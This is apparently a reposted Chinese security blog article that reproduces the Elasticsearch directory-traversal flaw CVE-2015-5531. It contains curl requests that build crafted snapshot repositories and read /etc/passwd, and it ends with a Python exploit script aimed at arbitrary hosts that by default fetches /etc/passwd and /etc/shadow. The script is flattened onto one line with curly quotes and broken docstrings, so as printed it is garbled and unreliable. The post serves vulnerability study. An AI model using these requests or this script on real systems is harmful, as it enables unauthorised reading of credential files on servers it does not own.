Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

发表于:2016-03-29 10:01:00 来源: 黑客与极客 阅读数(0人)

0×01. elasticsearch 简介

Elasticsearch是荷兰Elasticsearch公司的一套基于全文搜索引擎Apache Lucene构建的开源分布式RESTful搜索引擎,它主要用于云计算中,并支持通过HTTP使用JSON进行数据索引。


Elasticsearch使用Lucene作为内部引擎,在其基础上封装了功能强大的RESTful API,让你不需要了解背后复杂的逻辑,即可完成搜索……


详情请参见elstic.co


0×02. 漏洞概况

漏洞发布时间:2015-07-21 00:00:00

漏洞类型:路径遍历

漏洞影响版本:1.0.0 – 1.6.0

攻击路径:远程

漏洞产生原因:源于程序没有充分过滤用户提交的输入,远程攻击者可借助目录遍历
        字符‘..’利用该漏洞访问包含敏感信息的任意文件。

CVSS分值: 5 [中等(MEDIUM)]

机密性影响: PARTIAL [很可能造成信息泄露]

完整性影响: NONE [不会对系统完整性产生影响]

可用性影响: NONE [对系统可用性无影响]

攻击复杂度: LOW [漏洞利用没有访问限制 ]

攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]

身份认证: NONE [漏洞利用无需身份认证]

0×03. 漏洞环境搭建

网上下载一个elasticsearch1.3.4.tar.gz(也可以去我分享的百度网盘连接下载) , 解压,进入解压后的bin目录,


chmod +x elasticsearch

 

./elasticsearch

 

 

lsof -i:9200


 

curl http://127.0.0.1:9200/?pretty


至此 漏洞环境搭建完毕


0×04. 漏洞复现

先说说elasticsearch 的备份与快照功能


漏洞利用需要涉及到elasticsearch的备份功能,elasticsearch 提供了一套强大的API,使得elasticsearch备份非常简单


要实现备份功能。前提是elasticsearch 进程对备份目录有写入权限,一般来说我们可以利用/tmp 或者elasticsearch 自身的安装目录,默认情况下这两个目录elasticsearch 进程都是有写入权限的


1) 新建一个仓库

备份数据之前,要创建一个仓库来保存数据,仓库的类型支持Shared filesystem, Amazon S3, HDFS和Azure Cloud。下面以文件系统为例:

curl -XPUT http://127.0.0.1:9200/_snapshot/test -d '

{

"type": "fs",

"settings" :{

"location": "/tmp/test"

              }

}

'

 

当然这里也可以使用POST,POST 不仅仅可以创建仓库,还可以修改仓库

 

 

 

上面的代码,我们创建了一个名叫test的备份仓库,存放在本地的/tmp/test 目录下

按照上面的步骤再新建一个仓库test2,这个仓库的位置位于/tmp/test/snapshot-backdata

curl -XPUT http://127.0.0.1:9200/_snapshot/test2 -d '

{

"type": "fs",

"settings" :{

"location": "/tmp/test/snapshot-backdata"

              }

}

'

有木有注意到test2仓库的位置很特别,elasticsearch 中 备份的快照保存在备份仓库中的命名格式是以snapshot-xxx的格式


所以snapshot-backdata 会被误以为是test仓库的backdata快照,快照都是文件形式保存的,而snapshot-backdata是目录,elasticsearch 没有区分,如果elasticsearch发现其是目录之后,就继续读取目录下的内容,如果目录下的文件明称是恶意构造的(类似../../../) elasticsearch就会去读取这个递归读取文件的内容(这里elasticsearch没有过滤..),从而导致目录遍历(任意文件内容读取)


读到这里,有的读者就可能会问了,为什么要特意构造这样一个名称的仓库呢,不可以直接构造含有遍历符的快照文件名呢


比如 http://127.0.0.1:9200/_snapshot/test/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd


结果如下:

 

所以这样是不可以的


2) 开始漏洞验证

curl http://127.0.0.1:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

 

从返回结果可以看到,elasticsearch 解析出现了异常,并返回了读取文件的内容,: [114,...以后都是读取的/etc/passwd 文件的内容,不过都是内容为10进制整数的字符,需要翻译成人类可读的才好


0x05. poc

cve-2015-5531.py

 

#!/usr/bin/env python # -*- coding:utf8 -*- """ PoC for CVE-2015-5531 Affects ElasticSearch 1.6.0 and prior """ import re import sys import json import requests import urllib import argparse import traceback import termcolor def colorize_red(string): """ :param string: :return """ return termcolor.colored(string, 'red') def colorize_green(string): """ :param string: :return: """ return termcolor.colored(string, 'green') def create_repos(base_url): """ :param base_url: :return: None """ for index, repo_name in enumerate(REPO_NAME_LST): url = "{0}{1}".format(base_url, repo_name) req = requests.post(url, json=DATA_REPO_LST[index]) if “acknowledged” in req.json(): print colorize_green(“repository {0}: create success”.format(repo_name)) def grab_file(vuln_url) : “” " :param xplurl: :return: “”" req = requests.get(vuln_url) if req.status_code == 400: data = req.json() extrdata = re.findall(r’\d+’, str(data[ 'error'])) decoder = bytearray() for i in extrdata[ 2:]: decoder.append(int(i)) print colorize_green(decoder) def exploit(**args) : “” " :param args: :return: “”" target = args[ 'target'] port = args[ 'port'] fpath = args[ 'fpath'].split(‘,’) fpath = [urllib.quote(fp, safe='') for fp in fpath] base_url = “ http://{0}:{1}/_snapshot/”.format(target, port) #create elasticsearch repository for snapshot create_repos(base_url) #grab files for fp in fpath: vuln_url = ‘{0}{1}/{2}{3}’.format(base_url, REPO_NAME_LST[0], FCK, fp) print colorize_red(urllib.unquote(fp)) + “:\n” grab_file(vuln_url) if __name__ == “__main__”: # for global FCK = ‘backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..’ REPO_NAME_LST = ['test11', 'test12'] DATA_REPO_LST = [{"type": "fs", "settings": {"location": "/tmp/test30"}}, {"type": "fs", "settings": {"location": "/tmp/test30/snapshot-backdata"}}] parser = argparse.ArgumentParser(usage=”python cve-2015-5531.py options”, description=”cve-2015-5531 Vuln PoC”, add_help=True) parser.add_argument(‘-t’, ‘–target’, metavar=’TARGET’, type=str, dest=”target”, required=True, help=’eg: 127.0.0.1 or www.baidu.com’) parser.add_argument(‘-p’, ‘–port’, metavar=’PORT’, dest=’port’, type=int, default=9200, help=’elasticsearch port default 9200′) parser.add_argument(‘–fpath’, metavar=’FPATH’, dest=’fpath’, type=str, default=’/etc/passwd,/etc/shadow’ , help=’file to grab multi files separated by comma ‘) args = parser.parse_args() try: exploit(**args.__dict__) except: traceback.print_exc()

相关新闻

大家都在学

课程详情

Linux高级

课程详情

Linux进阶

课程详情

Linux基础